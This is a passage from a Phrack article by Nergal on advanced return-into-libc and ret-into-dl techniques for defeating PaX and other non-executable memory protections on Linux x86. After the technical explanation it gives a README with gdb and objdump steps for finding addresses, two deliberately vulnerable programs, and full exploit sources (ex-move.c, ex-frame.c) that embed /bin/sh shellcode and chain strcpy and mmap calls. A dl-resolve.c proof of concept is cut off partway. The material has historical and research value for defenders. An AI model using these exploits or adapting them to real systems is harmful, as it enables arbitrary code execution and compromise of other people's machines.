As we see, this piece of code pushes $reloc_offset onto the stack and jumps at the beginning of .plt section. After a few instructions, the control is passed to dl‑resolve() function, reloc_offset being one of its arguments (the second one, of type struct link_map *, is irrelevant for us). The following is the simplified dl‑resolve() algorithm:

1) calculate some_func's relocation entry

Elf32_Rel * reloc = JMPREL + reloc_offset;

2) calculate some_func's symtab entry

Elf32_Sym * sym = &SYMTAB[ ELF32_R_SYM (reloc‑>r_info) ];

3) sanity check

assert (ELF32_R_TYPE(reloc‑>r_info) == R_386_JMP_SLOT);

4) late glibc 2.1.x (2.1.92 for sure) or newer, including 2.2.x, performs another check. if sym‑>st_other & 3 != 0, the symbol is presumed to have been resolved before, and the algorithm goes another way (and probably ends with SIGSEGV in our case). We must ensure that sym‑>st_other & 3 == 0.

5) if symbol versioning is enabled (usually is), determine the version table index

uint16_t ndx = VERSYM[ ELF32_R_SYM (reloc‑>r_info) ];

and find version information

const struct r_found_version *version =&l‑>l_versions[ndx];

where l is the link_map parameter. The important part here is that ndx must be a legal value, preferably 0, which means "local symbol".

6) the function name (an asciiz string) is determined: name = STRTAB + sym‑>st_name;

7) The gathered information is sufficient to determine some_func's address. The results are cached in two variables of type Elf32_Addr, located at reloc‑>r_offset and sym‑>st_value.

8) The stack pointer is adjusted, some_func is called.

Note: in case of glibc, this algorithm is performed by the fixup() function, called by dl‑runtime‑resolve().

‑‑‑‑[ 5.4 ‑ The conclusion

Suppose we overflow a stack buffer with the following payload

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| buffer fill‑up | .plt start | reloc_offset | ret_addr | arg1 | arg2 ...

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

^

|

‑ this int32 should overwrite saved return address of a vulnerable function

If we prepare appropriate sym and reloc variables (of type Elf32_Sym and Elf32_Rel, respectively), and calculate appropriate reloc_offset, the control will be passed to the function, whose name is found at STRTAB + sym‑>st_name (we control it of course). Arguments arg1, arg2 will be placed appropriately, and still we have opportunity to return into another function (ret_addr).

The attached dl‑resolve.c is a sample code which implements the described technique. Beware, you have to compile it twice (see the comments in the README.code).

‑‑[ 6 ‑ Defeating PaX

‑‑‑‑[ 6.1 ‑ Requirements

In order to use the "ret‑into‑dl" technique described in chapter 5, we need to position a few structures at appropriate locations. We will need a function, which is capable of moving bytes to a selected place. The obvious choice is strcpy; strncpy, sprintf or similar would do as well. So, just like in [3], we will require that there is a PLT entry for strcpy in an attacked program's image.

"Ret‑into‑dl" solves a problem with randomly mmapped libraries; however, the problem of the stack remains. If the overflow payload resides on the stack, its address will be unknown, and we will be unable to insert 0s into it with strcpy (see 3.3). Unfortunately, I haven't come up with a generic solution (anyone?). Two methods are possible:

1) if scanf() function is available in PLT, we may try to execute something like

scanf("%s\n",fixed_location)

which will copy from stdin appropriate payload into fixed_location. When using "fake frames" technique, the stack frames can be disjoint, so we will be able to use fixed_location as frames.

2) if the attacked binary is compiled with ‑fomit‑frame‑pointer, we can chain multiple strcpy calls with the "esp lifting" method even if %esp is unknown (see the note at the end of 3.2). The nth strcpy would have the following arguments:

strcpy(fixed_location+n, a_pointer_within_program_image)

This way we can construct, byte by byte, appropriate frames at fixed_location. When it is done, we switch from "esp lifting" to "fake frames" with the trick described at the end of 3.3.

More similar workarounds can be devised, but in fact they usually will not be needed. It is very likely that even a small program will copy some user‑controlled data into a static or malloced variable, thus saving us the work described above.

To sum up, we will require two (fairly probable) conditions to be met:

6.1.1) strcpy (or strncpy, sprintf or similar) is available via PLT 6.1.2) during normal course of execution, the attacked binary copies user‑provided data into a static (preferably) or malloced variable.

‑‑‑‑[ 6.2 ‑ Building the exploit

We will try to emulate the code in dl‑resolve.c sample exploit. When a rwx memory area is prepared with mmap (we will call mmap with the help of ret‑into‑dl), we will strcpy the shellcode there and return into the copied shellcode. We discuss the case of the attacked binary having been compiled without ‑fomit‑frame‑pointer and the "frame faking" method.

We need to make sure that three related structures are placed properly:

1) Elf32_Rel reloc

2) Elf32_Sym sym

3) unsigned short verind (which should be 0)

How the addresses of verind and sym are related ? Let's assign to "real_index" the value of ELF32_R_SYM (reloc‑>r_info); then

sym is at SYMTAB+real_index*sizeof(Elf32_Sym) verind is at VERSYM+real_index*sizeof(short)

It looks natural to place verind at some place in .data or .bss section and nullify it with two strcpy calls. Unfortunately, in such case real_index tends to be rather large. As sizeof(Elf32_Sym)=16, which is larger than sizeof(short), sym would likely be assigned the address beyond a process' data space. That is why in dl‑resolve.c sample program (though it is very small) we have to allocate a few tens of thousands (RQSIZE) of bytes.

Well, we can arbitrarily enlarge a process' data space with setting MALLOC_TOP_PAD_ environ variable (remember traceroute exploit ?), but this would work only in case of a local exploit. Instead, we will choose more generic (and cheaper) method. We will place verind lower, usually within read‑only mmapped region, so we need to find a null short there. The exploit will relocate "sym" structure into an address determined by verind location.

Where to look for this null short ? First, we should determine (by consulting /proc/pid/maps just before the attacked program crashes) the bounds of the memory region which is mmapped writable (the executable's data area) when the overflow occurs. Say, these are the addresses within [low_addr,hi_addr]. We will copy "sym" structure there. A simple calculation tells us that real_index must be within [(low_addr‑SYMTAB)/16,(hi_addr‑SYMTAB)/16], so we have to look for null short within [VERSYM+(low_addr‑SYMTAB)/8, VERSYM+(hi_addr‑SYMTAB)/8]. Having found a suitable verind, we have to check additionally that

1) sym's address won't intersect our fake frames

2) sym's address won't overwrite any internal linker data (like strcpy's GOT entry)

3) remember that the stack pointer will be moved to the static data area. There must be enough room for stack frames allocated by the dynamic linker procedures. So, its best (though not necessary) to place "sym" after our fake frames.

An advice: it's better to look for a suitable null short with gdb, than analyzing "objdump ‑s" output. The latter does not display memory placed after .rodata section.

The attached ex‑pax.c file is a sample exploit against pax.c. The only difference between vuln.c and pax.c is that the latter copies another environment variable into a static buffer (so 6.1.2 is satisfied).

‑‑[ 7 ‑ Misc

‑‑‑‑[ 7.1 ‑ Portability

Because PaX is designed for Linux, throughout this document we focused on this OS. However, presented techniques are OS independent. Stack and frame pointers, C calling conventions, ELF specification ‑ all these definitions are widely used. In particular, I have successfully run dl‑resolve.c on Solaris i386 and FreeBSD. To be exact, mmap's fourth argument had to be adjusted (looks like MAP_ANON has different value on BSD systems). In case of these two OS, the dynamic linker do not feature symbol versions, so ret‑into‑dl is even easier to accomplish.

‑‑‑‑[ 7.2 ‑ Other types of vulnerabilities

All presented techniques are based on stack buffer overflow. All return‑into‑something exploits rely on the fact that with a single overflow we can not only modify %eip, but also place function arguments (after the return address) at the stack top.

Let's consider two other large classes of vulnerabilities: malloc control structures corruption and format string attacks. In case of the previous, we may at most count on overwriting an arbitrary int with an arbitrary value ‑ it is too little to bypass PaX protection genericly. In case of the latter, we may usually alter arbitrary number of bytes. If we could overwrite saved %ebp and %eip of any function, we wouldn't need anything more; but because the stack base is randomized, there is no way to determine the address of any frame.

***

(Digression: saved FP is a pointer which can be used as an argument to %hn. But the succesfull exploitation would require three function returns and preferably an appropriately located user‑controlled 64KB buffer.) ***

I hope that it is obvious that changing some GOT entry (that is, gaining control over %eip only) is not enough to evade PaX.

However, there is an exploitable scenario that is likely to happen. Let's assume three conditions:

1) The attacked binary has been compiled with ‑fomit‑frame‑pointer 2) There is a function f1, which allocates a stack buffer whose content we control

3) There is a format bug (or a misused free()) in the function f2, which is called (possibly indirectly) by f1.

The sample vulnerable code follows:

void f2(char * buf)

{

printf(buf); // format bug here

some_libc_function();

}

void f1(char * user_controlled)

{

char buf[1024];

buf[0] = 0;

strncat(buf, user_controlled, sizeof(buf)‑1); f2(buf);

}

Suppose f1() is being called. With the help of a malicious format string we can alter some_libc_function's GOT entry so that it contains the address of the following piece of code:

addl $imm, %esp

ret

that is, some epilogue of a function. In such case, when some_libc_function is called, the "addl $imm, %esp" instruction will alter %esp. If we choose an epilogue with a proper $imm, %esp will point within "buf" variable, whose content is user controlled. From this moment on, the situation looks just like in case of a stack buffer overflow. We can chain functions, use ret‑into‑dl etc.

Another case: a stack buffer overflow by a single byte. Such overflow nullifies the least significant byte of a saved frame pointer. After the second function return, an attacker has a fair chance to gain full control over the stack, which enables him to use all the presented techniques.

‑‑‑‑[ 7.3 ‑ Other non‑exec solutions

I am aware of two other solutions, which make all data areas non‑executable on Linux i386. The first one is RSX [10]. However, this solution does not implement stack nor libraries base randomization, so techniques described in chapter 3 are sufficient to chain multiple function calls.

Some additional effort must be invested if we want to execute arbitrary code. On RSX, one is not allowed to execute code placed in a writable memory area, so the mmap(...PROT_READ|PROT_WRITE|PROT_EXEC) trick does not work. But any non‑exec scheme must allow to execute code from shared libraries. In RSX case, it is enough to mmap(...PROT_READ|PROT_EXEC) a file containing a shellcode. In case of a remote exploit, the function chaining allows us to even create such a file first.

The second solution, kNoX [11], is very similar to RSX. Additionally, it mmaps all libraries at addresses starting at 0x00110000 (just like in the case of Solar's patch). As mentioned at the end of 3.4, this protection is insufficient as well.

‑‑‑‑[ 7.4 ‑ Improving existing non‑exec schemes

(Un)fortunately, I don't see a way to fix PaX so that it would be immune to the presented techniques. Clearly, ELF standard specifies too many features useful for attackers. Certainly, some of presented tricks can be stopped from working. For example, it is possible to patch the kernel so that it would not honor MAP_FIXED flag when PROT_EXEC is present. Observe this would not prevent shared libraries from working, while stopping the presented exploits. Yet, this fixes only one possible usage of function chaining.

On the other hand, deploying PaX (especially when backed by segvguard) can make the successful exploitation much more difficult, in some cases even impossible. When (if) PaX becomes more stable, it will be wise to use it, simply as another layer of defense.

‑‑‑‑[ 7.5 ‑ The versions used

I have tested the sample code with the following versions of patches:

pax‑linux‑2.4.16.patch

kNoX‑2.2.20‑pre6.tar.gz

rsx.tar.gz for kernel 2.4.5

You may test the code on any vanilla 2.4.x kernel as well. Due to some optimisations, the code will not run on 2.2.x.

‑‑[ 8 ‑ Referenced publications and projects

[1] Aleph One

the article in phrack 49 that everybody quotes

[2] Solar Designer

"Getting around non‑executable stack (and fix)" http://www.securityfocus.com/archive/1/7480

[3] Rafal Wojtczuk

"Defeating Solar Designer non‑executable stack patch" http://www.securityfocus.com/archive/1/8470

[4] John McDonald

"Defeating Solaris/SPARC Non‑Executable Stack Protection" http://www.securityfocus.com/archive/1/12734

[5] Tim Newsham

"non‑exec stack" http://www.securityfocus.com/archive/1/58864

[6] Gerardo Richarte, "Re: Future of buffer overflows ?" http://www.securityfocus.com/archive/1/142683

[7] PaX team

PaX

http://pageexec.virtualave.net

[8] segvguard

ftp://ftp.pl.openwall.com/misc/segvguard/

[9] ELF specification http://fileformat.virtualave.net/programm/elf11g.zip

[10] Paul Starzetz

Runtime addressSpace Extender http://www.ihaquer.com/software/rsx/

[11] Wojciech Purczynski

kNoX

http://cliph.linux.pl/knox

[12] grugq

"Cheating the ELF" http://hcunix.7350.org/grugq/doc/subversiveld.pdf

<++> phrack‑nergal/README.code !35fb8b53

The advanced return‑into‑lib(c) exploits:

PaX case study

Comments on the sample exploit code

by Nergal

First, you have to prepare the sample vulnerable programs: $ gcc ‑o vuln.omit ‑fomit‑frame‑pointer vuln.c

$ gcc ‑o vuln vuln.c

$ gcc ‑o pax pax.c

You may strip the binaries if you wish.

I. ex‑move.c

~~~~~~~~~~~~

At the top of ex‑move.c, there are definitions for LIBC, STRCPY, MMAP, POPSTACK, POPNUM, PLAIN_RET, FRAMES constants. You have to correct them. MMAP_START can be left untouched.

1) LIBC

[nergal@behemoth pax]$ ldd ./vuln.omit

libc.so.6 => /lib/libc.so.6 (0x4001e000) <‑ this is our address /lib/ld‑linux.so.2 => /lib/ld‑linux.so.2 (0x40000000)

2) STRCPY

[nergal@behemoth pax]$ objdump ‑T vuln.omit

vuln.omit: file format elf32‑i386

DYNAMIC SYMBOL TABLE:

08048348 w DF *UND* 00000081 GLIBC_2.0 __register_frame_info 08048358 DF *UND* 0000010c GLIBC_2.0 getenv

08048368 w DF *UND* 000000ac GLIBC_2.0 __deregister_frame_info 08048378 DF *UND* 000000e0 GLIBC_2.0 __libc_start_main 08048388 w DF *UND* 00000091 GLIBC_2.1.3 __cxa_finalize 08048530 g DO .rodata 00000004 Base _IO_stdin_used 00000000 w D *UND* 00000000 __gmon_start__ 08048398 DF *UND* 00000030 GLIBC_2.0 strcpy

^

|‑‑‑‑ this is the address we seek

3) MMAP

[nergal@behemoth pax]$ objdump ‑T /lib/libc.so.6 | grep mmap 000daf10 w DF .text 0000003a GLIBC_2.0 mmap

000db050 w DF .text 000000a0 GLIBC_2.1 mmap64

The address we need is 000daf10, then.

4) POPSTACK

We have to find "add $imm,%esp" followed by "ret". We must disassemble vuln.omit with the command "objdump ‑‑disassemble ./vuln.omit". To simplify, we can use

[nergal@behemoth pax]$ objdump ‑‑disassemble ./vuln.omit |grep ‑B 1 ret ...some crap

‑‑

80484be: 83 c4 2c add $0x2c,%esp 80484c1: c3 ret

‑‑

80484fe: 5d pop %ebp

80484ff: c3 ret

‑‑

...more crap

We have found the esp moving instructions at 0x80484be.

5) POPNUM

This is the amount of bytes which are added to %esp in POPSTACK. In the previous example, it was 0x2c.

6) PLAIN_RET

The address of a "ret" instruction. As we can see in the disassembler output, there is one at 0x80484c1.

7) FRAMES

Now, the tough part. We have to find the %esp value just after the overflow (our overflow payload will be there). So, we will make vuln.omit dump core (alternatively, we could trace it with a debugger). Having adjusted all previous #defines, we run ex‑move with a "testing" argument, which will put 0x5060708 into saved %eip.

[nergal@behemoth pax]$ ./ex‑move testing

Segmentation fault (core dumped) <‑ all OK [nergal@behemoth pax]$ gdb ./vuln.omit core

(no debugging symbols found)...

Core was generated by ./vuln.omit'.

Program terminated with signal 11, Segmentation fault.

#0 0x5060708 in ?? ()

If in the %eip there is other value than 0x5060708, this means that we have to align our overflow payload. If necessary, "scratch" array in "struct ov" should be re‑sized.

(gdb) info regi

...

esp 0xbffffde0 0xbffffde0

...

The last value we need is 0xbffffde0.

II. ex‑frame.c

~~~~~~~~~~~~~~

Again LIBC, STRCPY, MMAP, LEAVERET and FRAMES must be adjusted. LIBC, STRCPY, MMAP and FRAMES should be determined in exactly the same way like in case of ex‑move.c. LEAVERET should be the address of a "leave; ret" sequence; we can find it with

[nergal@behemoth pax]$ objdump ‑‑disassemble vuln|grep leave ‑A 1 objdump: vuln: no symbols

8048335: c9 leave

8048336: c3 ret

‑‑

80484bd: c9 leave

80484be: c3 ret

‑‑

8048518: c9 leave

8048519: c3 ret

So, we may use 0x80484bd for our purposes.

III. dl‑resolve.c

~~~~~~~~~~~~~~~~~

We have to adjust STRTAB, SYMTAB, JMPREL, VERSYM and PLT_SECTION defines. As they refer to dl‑resolve binary itself, we have to compile it twice with the same compiler options. For the first compilation, we can #define dummy values. Then, we run

[nergal@behemoth pax]$ objdump ‑x dl‑resolve

In the output, we see:

[...crap...]

Dynamic Section:

NEEDED libc.so.6

INIT 0x804839c

FINI 0x80486ec

HASH 0x8048128

STRTAB 0x8048240 (!!!)

SYMTAB 0x8048170 (!!!)

STRSZ 0xa1

SYMENT 0x10

DEBUG 0x0

PLTGOT 0x80497a8

PLTRELSZ 0x48

PLTREL 0x11

JMPREL 0x8048354 (!!!)

REL 0x8048344

RELSZ 0x10

RELENT 0x8

VERNEED 0x8048314

VERNEEDNUM 0x1

VERSYM 0x80482f8 (!!!)

The PLT_SECTION can also be retrieved from "objdump ‑x" output [...crap...]

Sections:

Idx Name Size VMA LMA File off Algn

0 .interp 00000013 080480f4 080480f4 000000f4 2**0

...

11 .plt 000000a0 080483cc 080483cc 000003cc 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE So, we should use 0x080483cc for our purposes. Having adjusted the defines, you should compile dl‑resolve.c again. Then run it under strace. At the end, there should be something like:

old_mmap(0xaa011000, 16846848, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, ‑1, 0x1011000) = 0xaa011000

_exit(123) = ?

As we see, mmap() is called, though it was not present in dl‑resolve.c's PLT. Of course, I could have added the shellcode execution, but this would unnecessarily complicate this proof‑of‑concept code.

IV. icebreaker.c

~~~~~~~~~~~~~~~~

Nine #defines have to be adjusted. Most of them have already been explained. Two remain: FRAMESINDATA and VIND.

1) FRAMESINDATA

This is the location of a static (or malloced) variable where the fake frames are copied to. In case of pax.c, we need to find the address of "bigbuf" array. If the attacked binary was not stripped, it would be easy. Otherwise, we have to analyse the disassembler output. The "bigbuf" variable is present in the arguments to "strncat" function in pax.x, line 13: strncat(bigbuf, ptr, sizeof(bigbuf)‑1);

So we may do:

[nergal@behemoth pax]$ objdump ‑T pax | grep strncat

0804836c DF *UND* 0000009e GLIBC_2.0 strncat [nergal@behemoth pax]$ objdump ‑d pax|grep 804836c ‑B 3 <‑ _not_ 0804836c objdump: pax: no symbols

8048362: ff 25 c8 95 04 08 jmp *0x80495c8 8048368: 00 00 add %al,(%eax) 804836a: 00 00 add %al,(%eax) 804836c: ff 25 cc 95 04 08 jmp *0x80495cc

‑‑

80484e5: 68 ff 03 00 00 push $0x3ff <‑ 1023 80484ea: ff 75 e4 pushl 0xffffffe4(%ebp) <‑ ptr 80484ed: 68 c0 9a 04 08 push $0x8049ac0 <‑ bigbuf 80484f2: e8 75 fe ff ff call 0x804836c

So, the address of bigbuf is 0x8049ac0.

2) VIND

As mentioned in the phrack article, we have to determine [lowaddr, hiaddr] bounds, then search for a null short int in the interval [VERSYM+(low_addr‑SYMTAB)/8, VERSYM+(hi_addr‑SYMTAB)/8].

[nergal@behemoth pax]$ gdb ./icebreaker

(gdb) set args testing

(gdb) r

Starting program: /home/nergal/pax/./icebreaker testing

Program received signal SIGTRAP, Trace/breakpoint trap.

Cannot remove breakpoints because program is no longer writable. It might be running in another process.

Further execution is probably impossible.

0x4ffb7d30 in ?? () <‑ icebreaker executed pax

(gdb) c

Continuing.

Program received signal SIGSEGV, Segmentation fault.

Cannot remove breakpoints because program is no longer writable. It might be running in another process.

Further execution is probably impossible.

0x5060708 in ?? () <‑ pax has segfaulted

(gdb) shell

[nergal@behemoth pax]$ ps ax | grep pax

1419 pts/0 T 0:00 pax

[nergal@behemoth pax]$ cat /proc/1419/maps

08048000‑08049000 r‑xp 00000000 03:45 100958 /home/nergal/pax/pax 08049000‑0804a000 rw‑p 00000000 03:45 100958 /home/nergal/pax/pax ^^^^^^^^^^^^^^^^^

^^^^^^^^^^^^^^^^^ here are our lowaddr, hiaddr

4ffb6000‑4ffcc000 r‑xp 00000000 03:45 107760 /lib/ld‑2.1.92.so 4ffcc000‑4ffcd000 rw‑p 00015000 03:45 107760 /lib/ld‑2.1.92.so 4ffcd000‑4ffce000 rw‑p 00000000 00:00 0

4ffd4000‑500ef000 r‑xp 00000000 03:45 107767 /lib/libc‑2.1.92.so 500ef000‑500f5000 rw‑p 0011a000 03:45 107767 /lib/libc‑2.1.92.so 500f5000‑500f9000 rw‑p 00000000 00:00 0

bfff6000‑bfff8000 rw‑p fffff000 00:00 0

[nergal@behemoth pax]$ exit

exit

(gdb) printf "0x%x\n", 0x80482a8+(0x08049000‑0x8048164)/8 0x804847b

(gdb) printf "0x%x\n", 0x80482a8+(0x0804a000‑0x8048164)/8 0x804867b

/* so, we search for a null short in [0x804847b, 0x804867b]

(gdb) printf "0x%x\n", 0x804867b‑0x804847b

0x200

(gdb) x/256hx 0x804847b

... a lot of beautiful 0000 in there...

Now read the section 6.2 in the phrack article, or just try a few of the addresses found.

<‑‑>

<++> phrack‑nergal/vuln.c !a951b08a

#include <stdlib.h>

#include <string.h>

int

main(int argc, char ** argv)

{

char buf[16];

char * ptr = getenv("LNG");

if (ptr)

strcpy(buf,ptr);

}

<‑‑>

<++> phrack‑nergal/ex‑move.c !81bb65d0

/* by Nergal */

#include <stdio.h>

#include <stddef.h>

#include <sys/mman.h>

#define LIBC 0x4001e000

#define STRCPY 0x08048398

#define MMAP (0x000daf10+LIBC)

#define POPSTACK 0x80484be

#define PLAIN_RET 0x80484c1

#define POPNUM 0x2c

#define FRAMES 0xbffffde0

#define MMAP_START 0xaa011000

char hellcode[] =

"\x90" "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";

/* This is a stack frame of a function which takes two arguments */

struct two_arg {

unsigned int func;

unsigned int leave_ret;

unsigned int param1;

unsigned int param2;

};

struct mmap_args {

unsigned int func;

unsigned int leave_ret;

unsigned int start;

unsigned int length;

unsigned int prot;

unsigned int flags;

unsigned int fd;

unsigned int offset;

};

/* The beginning of our overflow payload.

Consumes the buffer space and overwrites %eip */

struct ov {

char scratch[28];

unsigned int eip;

};

/* The second part ot the payload. Four functions will be called:

strcpy, strcpy, mmap, strcpy */

struct ourbuf {

struct two_arg zero1;

char pad1[8 + POPNUM ‑ sizeof(struct two_arg)]; struct two_arg zero2;

char pad2[8 + POPNUM ‑ sizeof(struct two_arg)]; struct mmap_args mymmap;

char pad3[8 + POPNUM ‑ sizeof(struct mmap_args)]; struct two_arg trans;

char hell[sizeof(hellcode)];

};

#define PTR_TO_NULL (FRAMES+sizeof(struct ourbuf))

//#define PTR_TO_NULL 0x80484a7

main(int argc, char **argv)

{

char lg[sizeof(struct ov) + sizeof(struct ourbuf) + 4 + 1]; char *env[2] = { lg, 0 };

struct ourbuf thebuf;

struct ov theov;

int i;

memset(theov.scratch, 'X', sizeof(theov.scratch));

if (argc == 2 && !strcmp("testing", argv[1])) { for (i = 0; i < sizeof(theov.scratch); i++) theov.scratch[i] = i + 0x10; theov.eip = 0x05060708;

} else {

/* To make the code easier to read, we initially return into "ret". This will

return into the address at the beginning of our "zero1" struct. */

theov.eip = PLAIN_RET;

}

memset(&thebuf, 'Y', sizeof(thebuf));

thebuf.zero1.func = STRCPY;

thebuf.zero1.leave_ret = POPSTACK;

/* The following assignment puts into "param1" the address of the least

significant byte of the "offset" field of "mmap_args" structure. This byte will be nullified by the strcpy call. */

thebuf.zero1.param1 = FRAMES + offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_args, offset); thebuf.zero1.param2 = PTR_TO_NULL;

thebuf.zero2.func = STRCPY;

thebuf.zero2.leave_ret = POPSTACK;

/* Also the "start" field must be the multiple of page. We have to nullify

its least significant byte with a strcpy call. */

thebuf.zero2.param1 = FRAMES + offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_args, start); thebuf.zero2.param2 = PTR_TO_NULL;

thebuf.mymmap.func = MMAP;

thebuf.mymmap.leave_ret = POPSTACK; thebuf.mymmap.start = MMAP_START + 1; thebuf.mymmap.length = 0x01020304;

/* Luckily, 2.4.x kernels care only for the lowest byte of "prot", so we may

put non‑zero junk in the other bytes. 2.2.x kernels are more picky; in such case, we would need more zeroing. */

thebuf.mymmap.prot =

0x01010100 | PROT_EXEC | PROT_READ | PROT_WRITE;

/* Same as above. Be careful not to include MAP_GROWS_DOWN */

thebuf.mymmap.flags =

0x01010200 | MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS; thebuf.mymmap.fd = 0xffffffff; thebuf.mymmap.offset = 0x01021001;

/* The final "strcpy" call will copy the shellcode into the freshly mmapped

area at MMAP_START. Then, it will return not anymore into POPSTACK, but at MMAP_START+1.

*/

thebuf.trans.func = STRCPY;

thebuf.trans.leave_ret = MMAP_START + 1; thebuf.trans.param1 = MMAP_START + 1; thebuf.trans.param2 = FRAMES + offsetof(struct ourbuf, hell);

memset(thebuf.hell, 'x', sizeof(thebuf.hell)); strncpy(thebuf.hell, hellcode, strlen(hellcode));

strcpy(lg, "LNG=");

memcpy(lg + 4, &theov, sizeof(theov));

memcpy(lg + 4 + sizeof(theov), &thebuf, sizeof(thebuf)); lg[4 + sizeof(thebuf) + sizeof(theov)] = 0;

if (sizeof(struct ov) + sizeof(struct ourbuf) + 4 != strlen(lg)) { fprintf(stderr,

"size=%i len=%i; zero(s) in the payload, correct it.\n", sizeof(struct ov) + sizeof(struct ourbuf) + 4, strlen(lg));

exit(1);

}

execle("./vuln.omit", "./vuln.omit", 0, env, 0);

}

<‑‑>

<++> phrack‑nergal/pax.c !af6a33c4

#include <stdlib.h>

#include <string.h>

char spare[1024];

char bigbuf[1024];

int

main(int argc, char ** argv)

{

char buf[16];

char * ptr=getenv("STR");

if (ptr) {

bigbuf[0]=0;

strncat(bigbuf, ptr, sizeof(bigbuf)‑1);

}

ptr=getenv("LNG");

if (ptr)

strcpy(buf, ptr);

}

<‑‑>

<++> phrack‑nergal/ex‑frame.c !a3f70c5e

/* by Nergal */

#include <stdio.h>

#include <stddef.h>

#include <sys/mman.h>

#define LIBC 0x4001e000

#define STRCPY 0x08048398

#define MMAP (0x000daf10+LIBC)

#define LEAVERET 0x80484bd

#define FRAMES 0xbffffe30

#define MMAP_START 0xaa011000

char hellcode[] =

"\x90" "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";

/* See the comments in ex‑move.c */

struct two_arg {

unsigned int new_ebp;

unsigned int func;

unsigned int leave_ret;

unsigned int param1;

unsigned int param2;

};

struct mmap_args {

unsigned int new_ebp;

unsigned int func;

unsigned int leave_ret;

unsigned int start;

unsigned int length;

unsigned int prot;

unsigned int flags;

unsigned int fd;

unsigned int offset;

};

struct ov {

char scratch[24];

unsigned int ebp;

unsigned int eip;

};

struct ourbuf {

struct two_arg zero1;

struct two_arg zero2;

struct mmap_args mymmap;

struct two_arg trans;

char hell[sizeof(hellcode)];

};

#define PTR_TO_NULL (FRAMES+sizeof(struct ourbuf))

main(int argc, char **argv)

{

char lg[sizeof(struct ov) + sizeof(struct ourbuf) + 4 + 1]; char *env[2] = { lg, 0 };

struct ourbuf thebuf;

struct ov theov;

int i;

memset(theov.scratch, 'X', sizeof(theov.scratch));

if (argc == 2 && !strcmp("testing", argv[1])) { for (i = 0; i < sizeof(theov.scratch); i++) theov.scratch[i] = i + 0x10; theov.ebp = 0x01020304;

theov.eip = 0x05060708;

} else {

theov.ebp = FRAMES;

theov.eip = LEAVERET;

}

thebuf.zero1.new_ebp = FRAMES + offsetof(struct ourbuf, zero2); thebuf.zero1.func = STRCPY;

thebuf.zero1.leave_ret = LEAVERET; thebuf.zero1.param1 = FRAMES + offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_args, offset); thebuf.zero1.param2 = PTR_TO_NULL;

thebuf.zero2.new_ebp = FRAMES + offsetof(struct ourbuf, mymmap); thebuf.zero2.func = STRCPY;

thebuf.zero2.leave_ret = LEAVERET; thebuf.zero2.param1 = FRAMES + offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_args, start); thebuf.zero2.param2 = PTR_TO_NULL;

thebuf.mymmap.new_ebp = FRAMES + offsetof(struct ourbuf, trans); thebuf.mymmap.func = MMAP;

thebuf.mymmap.leave_ret = LEAVERET; thebuf.mymmap.start = MMAP_START + 1; thebuf.mymmap.length = 0x01020304; thebuf.mymmap.prot =

0x01010100 | PROT_EXEC | PROT_READ | PROT_WRITE; /* again, careful not to include MAP_GROWS_DOWN below */

thebuf.mymmap.flags =

0x01010200 | MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS; thebuf.mymmap.fd = 0xffffffff; thebuf.mymmap.offset = 0x01021001;

thebuf.trans.new_ebp = 0x01020304; thebuf.trans.func = STRCPY;

thebuf.trans.leave_ret = MMAP_START + 1; thebuf.trans.param1 = MMAP_START + 1; thebuf.trans.param2 = FRAMES + offsetof(struct ourbuf, hell);

memset(thebuf.hell, 'x', sizeof(thebuf.hell)); strncpy(thebuf.hell, hellcode, strlen(hellcode));

strcpy(lg, "LNG=");

memcpy(lg + 4, &theov, sizeof(theov));

memcpy(lg + 4 + sizeof(theov), &thebuf, sizeof(thebuf)); lg[4 + sizeof(thebuf) + sizeof(theov)] = 0;

if (sizeof(struct ov) + sizeof(struct ourbuf) + 4 != strlen(lg)) { fprintf(stderr,

"size=%i len=%i; zero(s) in the payload, correct it.\n", sizeof(struct ov) + sizeof(struct ourbuf) + 4, strlen(lg));

exit(1);

}

execle("./vuln", "./vuln", 0, env, 0);

}

<‑‑>

<++> phrack‑nergal/dl‑resolve.c !d5fc32b7

/* by Nergal */

#include <stdlib.h>

#include <elf.h>

#include <stdio.h>

#include <string.h>

#define STRTAB 0x8048240

#define SYMTAB 0x8048170

#define JMPREL 0x8048354

#define VERSYM 0x80482f8

#define PLT_SECTION "0x080483cc"

void graceful_exit()

{

exit(123);

}

void doit(int offset)

{

int res;

__asm__ volatile ("

pushl $0x01011000

pushl $0xffffffff

pushl $0x00000032

pushl $0x00000007

pushl $0x01011000

pushl $0xaa011000

pushl %%ebx

pushl %%eax

pushl $" PLT_SECTION "

ret"

:"=a"(res)

:"0"(offset),

"b"(graceful_exit)

);

}

/* this must be global */

Elf32_Rel reloc;

#define ANYTHING 0xfe

#define RQSIZE 60000

int

main(int argc, char **argv)

{

unsigned int reloc_offset;

unsigned int real_index;

char symbol_name[16];

int dummy_writable_int;

char *tmp = malloc(RQSIZE);

Elf32_Sym *sym;

unsigned short *null_short = (unsigned short*) tmp;

/* create a null index into VERSYM */

*null_short = 0;

